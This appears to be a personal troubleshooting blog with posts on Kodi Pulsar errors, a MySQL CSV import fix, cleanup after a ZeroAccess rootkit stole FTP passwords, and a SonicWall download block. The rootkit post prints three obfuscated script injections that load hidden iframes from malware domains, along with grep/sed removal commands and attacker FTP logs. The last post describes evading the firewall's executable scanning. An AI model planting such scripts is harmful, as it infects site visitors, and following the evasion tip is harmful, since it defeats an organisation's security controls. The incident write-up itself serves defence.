Kodi’s Pulsar errors starting up

If you are seeing the following Pulsar errors, check the possible solutions:

Problem: Trying to launch Pulsar

21:31:27 T:2440  NOTICE: [plugin.video.pulsar] 2015-02-03 21:31:27  INFO  btservice        Starting DHT...
21:31:27 T:2440  NOTICE: [plugin.video.pulsar] 2015-02-03 21:31:27  INFO  btservice        Starting LSD...
21:31:27 T:2440  NOTICE: [plugin.video.pulsar] 2015-02-03 21:31:27  INFO  btservice        Starting UPNP...
21:31:27 T:2440  NOTICE: [plugin.video.pulsar] 2015-02-03 21:31:27  INFO  btservice        Starting NATPMP...
21:31:27 T:4984  NOTICE: Thread LanguageInvoker start, auto delete: false
21:31:27 T:4984  NOTICE: -->Python Interpreter Initialized<--
21:31:27 T:4984  NOTICE: http://localhost:65251/
21:31:28 T:4984   ERROR: EXCEPTION Thrown (PythonToCppException) : -->Python callback/script returned the following error<--
                                             - NOTE: IGNORING THIS CAN LEAD TO MEMORY LEAKS!
                                            Error Type: <class 'urllib2.URLError'>
                                            Error Contents: <urlopen error [Errno 10061] No connection could be made because the target machine actively refused it>
                                            Traceback (most recent call last):
                                              File "C:\Users\TVComputer\AppData\Roaming\Kodi\addons\plugin.video.pulsar\navigation.py", line 6, in <module>
                                                navigation.run()
                                              File "C:\Users\TVComputer\AppData\Roaming\Kodi\addons\plugin.video.pulsar\resources\site-packages\pulsar\navigation.py", line 72, in run
                                                data = _json(url)
                                              File "C:\Users\TVComputer\AppData\Roaming\Kodi\addons\plugin.video.pulsar\resources\site-packages\pulsar\navigation.py", line 40, in _json
                                                with closing(urllib2.urlopen(url)) as response:
                                              File "C:\Program Files (x86)\Kodi\system\python\Lib\urllib2.py", line 127, in urlopen
                                                return _opener.open(url, data, timeout)
                                              File "C:\Program Files (x86)\Kodi\system\python\Lib\urllib2.py", line 404, in open
                                                response = self._open(req, data)
                                              File "C:\Program Files (x86)\Kodi\system\python\Lib\urllib2.py", line 422, in _open
                                                '_open', req)
                                              File "C:\Program Files (x86)\Kodi\system\python\Lib\urllib2.py", line 382, in _call_chain
                                                result = func(*args)
                                              File "C:\Program Files (x86)\Kodi\system\python\Lib\urllib2.py", line 1214, in http_open
                                                return self.do_open(httplib.HTTPConnection, req)
                                              File "C:\Program Files (x86)\Kodi\system\python\Lib\urllib2.py", line 1184, in do_open
                                                raise URLError(err)
                                            URLError: <urlopen error [Errno 10061] No connection could be made because the target machine actively refused it>
                                            -->End of Python script error report<--
21:31:29 T:4548   ERROR: XFILE::CDirectory::GetDirectory - Error getting plugin://plugin.video.pulsar/
21:31:29 T:4548   ERROR: CGUIMediaWindow::GetDirectory(plugin://plugin.video.pulsar/) failed
21:31:29 T:764  NOTICE: Thread BackgroundLoader start, auto delete: false

Solution
Wait for Pulsar to start up. It usually takes about 1-2 minutes for it to load after Kodi has been enabled.

Problem: Deleting missing stale files

17:08:01 T:139736123422464 NOTICE: [plugin.video.pulsar] Deleting stale files set(['C:\\path\\to\\file\\filename.mp4'])

Solution

  1. Go to %APPDATA%\Kodi\ directory.
  2. Delete the cache directory.
  3. Delete the userdata\addon_data\plugin.video.pulsar\cache directory

MySQL CSV import skipping rows

I was experiencing problems with loading CSV files into MySQL tables. I noticed that it was skipping every other row in most cases. I was using the following SQL code to load the CSV file:

LOAD DATA LOCAL INFILE 'test.csv'
INTO TABLE games
FIELDS TERMINATED BY ','
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
IGNORE 0 LINES;

Solution:
It turns out that the CSV file that I was loading had line endings that my MySQL client did not recognize. I found out that the CSV file was coming from a Windows machine while I was trying to load it onto a Mac OSX machine’s MySQL client/server.

To fix this, I ran the following conversion command, which removed the Windows specific line endings:

cat test.csv | tr -d '\r' > "test.fixed.csv"

I verified that this fixed the file by opening it up in TextWrangler and noting the line ending style on the bottom status bar.

Rootkit hacked Win7, stole ftp passwords, and spread malware

What happened:
Over the past weekend, I got hit by ZeroAccess rootkit, which I’ve recently heard about making the news on a few security related sites. It disabled Microsoft Security Essentials and Windows Defender, and took over the Windows Security Center. It further controls the Network layer so that it can disable any connections to security sites. To keep itself in control, it installs itself as a service, a startup item and several scheduled tasks. It kills your exe associations at each restart (which means you can’t run any executables, possibly to remove the damned trojans/viruses). While all this is happening, it keeps installing more malware.

Internet help:
BleepingComputer (particularly the FixNCR.reg file is very helpful in restoring exe file association) and their forums
MalwareBytes AntiMalware didn’t help me much, because this rootkit and its malware friends kept coming back. (The problem is that these rootkits are modifying memory on the fly, so whatever success you think you have is misleading.)

How I got rid of it:
In safe mode, ran Kaspersky Virus Removal Tool 2011, TDSSKiller, Combofix
(Restore executable file associations by using the FixNCR.reg tool I listed above)
Once the above three fixed the issue, I used MBAM, MS Security Essentials, Spyware Doctor (not free) and SuperAntiSpyware (with Full Scans) to verify that my computer was clean.

Stolen ftp passwords:
It scans for ftp software programs, such as FileZilla, which like other ftp programs will store all your passwords in plaintext for any random person to grab. Lesson learned: Use SSH keys with passphrase to prevent this problem in the future. So it sent all these passwords back to their database, so the attackers (log below) connected to each site, recursively looked for all the common files: index.htm, index.html, index.php, login.php, auth.html, etc, etc and put the following codes (usually at the end):

  1. Code:
    <script>wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=document.createElement(se);ip.setAttribute('width','1');ip.setAttribute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body.appendChild(ip);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​zirycatum.com/​k985ytv.htm">​</iframe>​
  2. Code:
    <script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​numudozaf.com/​k985ytv.htm">​</iframe>​​
  3. Code:
    <script>mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);</script>

    evaluates to

    <iframe width=​"1" height=​"1" frameborder=​"0" src=​"http:​/​/​hysofufewobe.com/​k985ytv.htm">​</iframe>​

    How to find and remove these exploits:
    Find:

    find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \;

    Exaplanation:
    Find all files recursively starting from current directory that have py/php/htm/html as extension, look for those 3 keywords (“frameBorder”, “setAttribute”, then “document.body.appendChild”).
    Notes: You should make sure this command outputs filenames of files that have the exploit html code. You might need to change the keywords (if the virus code has changed). Also, “2> /dev/null” will ignore all permissions/access errors, you might want to take that out if you want to see errors for files that you don’t have access to.

    Replace (just adds sed, the file editing tool):

    find . -type f -regex ".*\(py\|php\|html?\)$" -exec grep -lr "frameBorder.*setAttribute.*document.body.appendChild" {} 2> /dev/null \; | xargs -I {} sed -i.hacked 's#<script>wa=.*</script>##g' {}

    Explanation of the command after the pipe (|):
    For each file from the previous command, edit it such that we remove from the starting script tag to the ending script tag, but only if “wa=” follows the starting script tag. Of course, you will need to run this command, replacing the “wa=” with “ti=” (like the above 2 pasted exploit codes, or whatever else the the command is currently using). This script will also backup each of the exploited file (with the extension .hacked), just in case you lose something important.

    How to prevent future ftp edits:
    Don’t use ftp programs that store plaintext passwords, or better yet use passphrase’d SSH keys (with an SSH agent to simplify your life).

    Google StopBadware
    StopBadware.org is a service, which comes with all the popular browsers like FF, Chrome, Safari. Everytime you visit a site, this service is used to check if the page/website is listed as a site that propagates badware. So as you can imagine all the exploited files (above) resulted in all the domains getting blacklisted from these browsers and on top of that, Google Search will display a “This site is harmful” message. Firefox implementation of this service is the worst because Firefox tries its hardest to make you stop visiting the site. Most likely, your site will get flagged by the Googlebot, and you will also get an email from Google titled “Malware notification regarding victimsite.com” sent to the common webmaster email addresses, abuse@victimsite.com, admin@victimsite.com, webmaster@victimsite.com, etc (so as a good practice, you should make sure one of these addresses work).
    To fix this, you will need to add your site to Google Webmaster Tools (really helpful tool for all sorts of webmaster activities, and then “Request a Review” from Diagnostics > Malware section. This is just one way, I think you can also request a review through stopbadware.org (the original vendor), but the request will probably still go through the original reporter (most likely google). Also, some requests are resolved within a day (for popular sites), and some take as long as 2 days. I’ve also noticed that a convincing argument made about security haul in the comment when asking for a review helps your case.

    Finally, Some ip addresses and an example of what it looks like in logs

    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "LIST /folderthis/folderthat/" 226 1862
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "SIZE index.htm" 213 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "RETR index.htm" 226 2573
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "TYPE I" 200 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "PASV" 227 -
    204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] "STOR index.htm" 226 3018

    2nd server:
    Aug 14 08:58:41 customer proftpd[6367]: (::ffff:218.93.122.165[::ffff:218.93.122.165]) - FTP session opened.
    Aug 14 23:37:04 customer proftpd[16356]: (::ffff:117.41.182.209[::ffff:117.41.182.209]) - FTP session closed.
    Aug 15 00:20:34 customer proftpd[22467]: (::ffff:62.212.66.15[::ffff:62.212.66.15]) - FTP session opened.
    Aug 15 09:12:04 customer proftpd[8899]: (::ffff:204.12.252.138[::ffff:204.12.252.138]) - FTP session closed.
    Aug 15 17:09:20 customer proftpd[25532]: (::ffff:178.17.165.146[::ffff:178.17.165.146]) - FTP
    Aug 15 23:42:16 customer proftpd[10474]: (::ffff:95.211.14.25[::ffff:95.211.14.25]) - FTP session closed.
    Aug 16 02:22:53 customer proftpd[17143]: (::ffff:119.128.168.56[::ffff:119.128.168.56]) - FTP session opened.
    Aug 16 03:51:34 customer proftpd[20771]: (::ffff:111.74.239.55[::ffff:111.74.239.55]) - FTP session closed.
    Aug 16 23:32:22 customer proftpd[3396]: (::ffff:61.131.51.193[::ffff:61.131.51.193]) - FTP session opened.

Can’t download executables on a Sonicwall corporate network

We have a SonicWall corporate network at our local Gurdwara. It for some reason prohibits some .exe files from being downloaded. Although some executables work just fine. For some executables, only an empty (0 byte) file is downloaded. For some files, my Chrome browser returns Error 101 (net::ERR_CONNECTION_RESET): Unknown error. My ftp (filezilla) fails with the following error:

Response: 150 Opening BINARY mode data connection for mp3DC213.zip (242059 bytes).
Error: Transfer connection interrupted: ECONNABORTED - Connection aborted
Response: 426 Failure writing network stream.
Error: File transfer failed

Clearly the router/gateway is blocking the files. And it is smart enough to scan the files and knows when the same executable file has been named test.mp3 and it can even read zip archive files.

Solution:
In times of need, the one sure way of getting files is to fire up a remote desktop connection or vnc or ssh session, download the file to that remote machine, compress it either 7zip (.7z extension), tarfile (.tar extension) or bzip2 (.bz2 extension) format, and then download to local computer using ftp or upload to any file uploading site.

PS: I have not tested .rar (winrar format). If anybody can test this, let me know if it works.